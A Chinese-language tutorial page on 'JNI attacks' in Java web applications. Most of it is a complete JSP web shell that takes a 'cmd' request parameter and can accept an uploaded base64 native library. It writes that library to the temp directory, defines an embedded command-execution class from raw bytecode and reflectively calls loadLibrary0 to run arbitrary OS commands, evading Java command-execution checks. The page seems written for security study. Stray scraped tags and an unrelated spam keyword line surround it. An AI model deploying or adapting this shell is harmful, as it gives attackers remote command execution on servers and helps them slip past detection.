<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    JNI攻擊

    JNI攻擊

    Java語言是基于C語言實現的,Java底層的很多API都是通過JNI(Java Native Interface)來實現的。通過JNI接口C/C++Java可以互相調用(存在跨平臺問題)。Java可以通過JNI調用來彌補語言自身的不足(代碼安全性、內存操作等)。

    JNI是一種比較特殊的方式,如果能夠利用效果等同于繞過Java 命令執行API。

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.File" %>
    <%@ page import="java.io.FileOutputStream" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="java.lang.reflect.Method" %>
    <%-- load_library_cmd_all.jsp?cmd=ls --%>
    <%-- 通過JNI的方式調用動態鏈接庫, 反射調用 ClassLoader 的 loadLibrary0 方法進行加載 --%>
    <%!
        private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
    
        /**
         * JDK1.5編譯的com.anbai.sec.cmd.CommandExecution類字節碼,
         * 只有一個public static native String exec(String cmd);的方法
         */
        private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
                -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
                0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
                101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
                101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
                110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
                97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
                99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
                101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
                99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
                111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
                106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
                2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
                0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
                9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
        };
    
        /**
         * 獲取JNI鏈接庫目錄
         * @return 返回緩存JNI的臨時目錄
         */
        File getTempJNILibFile() {
            File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
    
            if (!jniDir.exists()) {
                jniDir.mkdir();
            }
    
            String filename;
    
            if (isWin()) {
                filename = "cmd.dll";
            } else {
                if (isMac()) {
                    filename = "libcmd.lib";
                } else {
                    filename = "libcmd.so";
                }
            }
    
    
            return new File(jniDir, filename);
        }
    
    
        boolean isWin() {
            return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
        }
    
        boolean isWin32() {
            return "32".equals(System.getProperty("sun.arch.data.model"));
        }
    
        boolean isMac() {
            return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
        }
    
    
        /**
         * 高版本JDKsun.misc.BASE64Decoder已經被移除,低版本JDK又沒有java.util.Base64對象,
         * 所以還不如直接反射自動找這兩個類,哪個存在就用那個decode。
         * @param str
         * @return
         */
        byte[] base64Decode(String str) {
            try {
                try {
                    Class clazz = Class.forName("sun.misc.BASE64Decoder");
                    return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
                } catch (ClassNotFoundException e) {
                    Class  clazz   = Class.forName("java.util.Base64");
                    Object decoder = clazz.getMethod("getDecoder").invoke(null);
                    return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
                }
            } catch (Exception e) {
                return null;
            }
        }
    
        /**
         * 寫JNI鏈接庫文件
         * @param base64 JNI動態庫Base64
         * @return 返回是否寫入成功
         */
        void writeJNILibFile(String base64) throws IOException {
            if (base64 != null) {
                File jniFile = getTempJNILibFile();
    
                if (!jniFile.exists()) {
                    byte[] bytes = base64Decode(base64);
    
                    if (bytes != null) {
                        FileOutputStream fos = new FileOutputStream(jniFile);
                        fos.write(bytes);
                        fos.flush();
                        fos.close();
                    }
                }
            }
        }
    %>
    <%
        String cmd = request.getParameter("cmd");
        String jniBytes = request.getParameter("jni");
    
    
        String COMMAND_JNI_FILE_BYTES;
        if (isWin()) {
            if (isWin32()) {
                // windows 32
                COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
            } else {
                // windows 64
                COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
            }
        } else {
            if (isMac()) {
                // mac
                COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
            } else {
                // centos 7 64
                COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
            }
        }
    
    
        // JNI路徑
        File jniFile = getTempJNILibFile();
        ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
    
        if (loader == null) {
            loader = new ClassLoader(this.getClass().getClassLoader()) {
                @Override
                protected Class<?> findClass(String name) throws ClassNotFoundException {
                    try {
                        return super.findClass(name);
                    } catch (ClassNotFoundException e) {
                        return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                    }
                }
            };
    
            writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 寫JNI文件到臨時文件目錄
    
            application.setAttribute("__LOADER__", loader);
        }
    
        try {
            // load命令執行類
            Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
            Object loadLib      = application.getAttribute("__LOAD_LIB__");
    
            if (loadLib == null || !((Boolean) loadLib)) {
                Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
                loadLibrary0Method.setAccessible(true);
                loadLibrary0Method.invoke(loader, commandClass, jniFile);
                application.setAttribute("__LOAD_LIB__", true);
            }
    
            String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
            out.println("<pre>");
            out.println(content);
            out.println("</pre>");
        } catch (Exception e) {
            out.println(e.toString());
            throw e;
        }
    
    %>

    訪問:http://localhost:8000/modules/jni/loadlibrary.jsp?cmd=ls,如下圖:

    JNI攻擊

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类